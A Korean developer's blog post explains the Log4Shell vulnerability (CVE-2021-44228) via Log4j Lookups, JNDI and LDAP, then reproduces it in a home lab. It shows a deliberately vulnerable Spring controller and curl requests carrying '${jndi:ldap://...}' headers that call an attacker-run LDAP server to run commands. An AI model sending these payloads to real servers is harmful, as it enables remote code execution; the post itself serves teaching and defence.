Log4j 보안 취약점과 해킹 재현
0. 들어가면서
최근 IT 업계를 떠들썩하게 만들었던 보안 취약점이 발견되었습니다.
처음 접한 뉴스에서 "많이 사용되는 프레임워크에서 보안 취약점이 발견되었다."
는 소식을 듣고 찾아보았을 때 굉장히 놀랐습니다.
Apache Log4j 보안 이슈 발생
Log4j
는 Java
언어로 개발되는 거의 모든 어플리케이션에서 사용하고 있다고 말해도 과장이 아닙니다.
단순하게 로그를 출력하는 일 외에도 다양한 기능들을 제공하기 때문에 많은 곳에서 사용됩니다.
어떤 문제가 있었는지 살펴보고, 해킹이 어떤 방식으로 시도되었는지 간단하게 과정을 재현해보겠습니다.
1. Log4j 보안 취약점, CVE-2021-44228
2021년 12월 9일 Log4j(version 2)를 사용하는 경우 원격 코드 실행(RCE, Remote Code Execution)을 당할 수 있다는 사실이 밝혀졌습니다.
이는 해커가 원격 PC에서 보안이 취약한 어플리케이션이 동작하는 서버를 조작할 수 있다는 의미입니다.
보안이 취약한 서버의 명령어(shell)을 사용할 수 있기 때문에 Log4Shell
이라는 별칭이 붙게 되었습니다.
CVE, Common Vulnerability and Exposure
- Common Vulnerabilities and Exposures (CVE) is a database of publicly disclosed information security issues.
- CVSS(Common Vulnerability Scoring System) 점수로 0 ~ 10점을 받을 수 있으며, 높을수록 치명적입니다.
- CVE-2021-44228 보안 이슈는 10점을 받았습니다.
영향을 받는 버전
- 2.0-beta9 ~ 2.14.1 버전 (Log4j 2.12.2 제외)
2. 보안 문제의 원인
어떻게 로그를 출력하는 것만으로 원격 코드 실행이 가능한가?
2.1. Log4j Lookups
저는 이 기능이 이번 보안 이슈의 가장 큰 원인으로 보고 있습니다. 어떤 기능인지 정리해보겠습니다.
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
Lookups
기능은 임의의 위치에서 Log4j 구성에 값을 추가하는 방법을 제공합니다.
다소 말이 어려웠는데 쉽게 설명하면 출력하는 로그에 시스템 속성 등의 값을 변수 혹은 예약어를 이용해 출력할 수 있는 기능입니다.
${}
형태의 문자열 변수를 전달- Log4j 내부에서 파싱(parsing)
- 해당되는 기능을 수행
${}
를 수행 결과 값으로 대체
Lookups 예시 코드
- 로그
${java:runtime}
위치에 Java Runtime 정보가 출력됩니다.
logger.info("This is test log for example of lookups - ${java:runtime}");
Lookups 적용 로그
This is test log for example of lookups - Java(TM) SE Runtime Environment (build 11.0.13+10-LTS-370) from Oracle Corporation
2.2. JNDI, Java Naming and Directory Interface
Log4j Lookup
은 JNDI(Java Naming and Directory Interface) 기능을 지원합니다.
JNDI 기능이 무엇인지 확인해보았습니다.
The Java Naming and Directory Interface (JNDI) is a Java API for a directory service that allows Java software clients to discover and look up data and resources (in the form of Java objects) via a name.
디렉토리(directory) 서버는 데이터나 리소스들을 그들의 이름을 사용하여 발견하고, 참조할 수 있는 서비스를 제공합니다. Java 어플리케이션에서 디렉토리 서버에 접근하기 위해 사용하는 API 입니다. 예를 들어, Java 어플리케이션은 JNDI API를 사용하여 DNS 서버로 URL 호스트 이름을 넘겨주고, 실제 IP 주소를 받아올 수 있습니다.
JNDI API를 사용하면 아래와 같은 디렉토리 서버로 접근하여 데이터, 특정 리소스를 발견하고 참조할 수 있습니다.
- Lightweight Directory Access Protocol (LDAP)
- Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
- Java Remote Method Invocation (RMI) Registry
- Domain Name Service (DNS)
JDNI 구조
2.3. LDAP, Lightweight Directory Access Protocol
JNDI API를 이용하면 여러 종류의 디렉토리 서비스를 사용할 수 있지만, 이번 예시에서는 LDAP 서비스에 대해서만 간단히 알아보겠습니다.
The Lightweight Directory Access Protocol (LDAP /ˈɛldæp/) is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network.
사용자, 시스템, 네트워크, 서비스 등의 정보를 공유하기 위한 목적으로 사용하는 프로토콜입니다. 사용자 정보를 중앙 집중적으로 관리하는데 유용합니다. LDAP 프로토콜은 조직이나 개체, 인터넷이나 기업 내의 인트라넷 같은 네트워크 상에 위치한 파일이나 자원(resource) 등의 위치를 찾을 수 있도록 돕습니다. 이 프로토콜을 지원하는 서버의 서비스를 이용하면 연결된 네트워크 내에 자원들을 쉽게 찾을 수 있습니다.
3. 재현 테스트
개발자로서 가장 궁금한 내용이었습니다. 해커는 어떻게 위의 세가지 기능(Log4j Lookups, JDNI, LDAP)을 이용하여 서버를 해킹할 수 있었을까요? 해킹 시도 시나리오를 먼저 살펴보고, 간단한 테스트 코드를 통해 저의 PC들을 원격 조작해보겠습니다.
3.1. 해킹 시도 시나리오
1. 해커는 로그로 자주 출력되는 HTTP 헤더에 자신의 악성 LDAP 서버를 호출할 수 있는 정보를 담아 전달합니다.
$ curl {VULNERABLE_TARGET} -H 'X-Api-Version: ${jndi:ldap://HACKERS_MALICIOUS_LDAP_SERVER/QUERY}'
2. Log4j 보안 취약점을 가진 서버는 ${jndi:ldap://HACKERS_MALICIOUS_LDAP_SERVER/QUERY}
값을 로그로 출력합니다.
3. Log4j의 Lookups 기능으로 인해 자동적으로 프레임워크 내부에서 jndi
기능 호출을 인지하고, 해커의 악성 LDAP 서버로 요청을 보냅니다.
- Log4j 프레임워크에서
${jndi:...}
키워드를 확인하고 자동적으로ldap://HACKERS_MALICIOUS_LDAP_SERVER/QUERY
요청
4. 악성 LDAP 서버는 악성 명령어(command)를 응답합니다.
5. 응답을 전달받은 취약 서버는 해당 명령어를 실행하고, 해커가 의도한 행동을 수행합니다.
- wget, curl 명령어를 통해 해커의 악성 HTTP 서버에서 악성 파일을 다운받게 할 수 있습니다.
- 취약 서버의 특정 프로그램을 실행시킬 수 있습니다.
- 해당 테스트에서는 브라우저를 실행시켜보았습니다.
3.2. 보안 취약 서버
다음과 같이 특정 헤더 값을 Log4를 사용하여 출력하면 해커의 악의적인 헤더 정보로 인해 위험에 노출됩니다.
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
3.3. 악성 LDAP 서버
아래 Github의 악성 LDAP 서버 구현 코드를 일부 변경하였습니다.
- 참고 코드 GitHub 레포지토리 - https://github.com/veracode-research/rogue-jndi
3.4. 테스트 방법
각 운영체제 별로 보안이 취약한 버전의 Log4j를 사용하는 서비스를 실행합니다. 해커 역할을 담당하는 PC에는 악의적인 명령어를 실행할 수 있는 LDAP 서비스를 실행합니다.
- 테스트 코드 - https://github.com/Junhyunny/blog-in-action/tree/master/2021-12-15-log4j-vulnerability-CVE-2021-44228
log4shell-vulnerable-app
프로젝트 - 보안 취약 서버log4shell-attacker-ldap-server
프로젝트 - 악의적인 LDAP 서버
3.4.1. Windows
http://192.168.1.3:8080/
- Windows 운영체제에서 동작하는 취약 서비스ldap://192.168.1.6:1389
- 해커의 악성 LDAP 서비스o=windows
- LDAP 질의(query)를 이용한 Windows 명령어MacOS
에서 다른 Windows PC의 인터넷 익스플로러(IE, Internet Explorer)를 실행시킵니다.
해킹 시도 요청
% curl http://192.168.1.3:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.1.6:1389/o=windows}'
테스트 결과
3.4.2. MacOS
http://127.0.0.1:8080/
- MacOS 운영체제에서 동작하는 취약 서비스, 로컬 호스트 테스트로 진행하였습니다.ldap://192.168.1.6:1389
- 해커의 악성 LDAP 서비스o=macos
- LDAP 질의(query)를 이용한 MacOS 명령어MacOS
에서 자신의 MacOS PC의 사파리(Safari)를 실행시킵니다.
해킹 시도 요청
curl http://127.0.0.1:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.1.6:1389/o=macos}'
테스트 결과
CLOSING
o=ubuntu
LDAP 질의를 사용하는 경우, Ubuntu OS에서 FireFox
브라우저가 동작합니다.
포스트를 위한 테스트는 진행하지 않았지만, 원하시는 분은 테스트가 가능합니다.
이번엔 단순히 명령어를 통해 특정 프로그램을 실행시켰지만, HTTP 리소스 서버를 만들고 해당 HTTP 서버에서 특정 파일을 다운받도록 변경해보아도 좋을 것 같습니다.
여유가 된다면 Log4j에서 문제를 유발한 코드와 Apache 쪽에서 해당 버그를 어떻게 수정했는지 이력을 찾아 정리하겠습니다.
TEST CODE REPOSITORY
REFERENCE
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://www.balbix.com/insights/what-is-a-cve/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- https://cselabnotes.com/kr/2021/12/12/210/
- https://www.hahwul.com/2021/12/11/log4shell-internet-is-on-fire/
- https://devocean.sk.com/blog/techBoardDetail.do?ID=163523
- https://logging.apache.org/log4j/2.x/manual/lookups.html
- https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
- https://jogakleeron.tistory.com/53
- https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol
- https://github.com/veracode-research/rogue-jndi
댓글남기기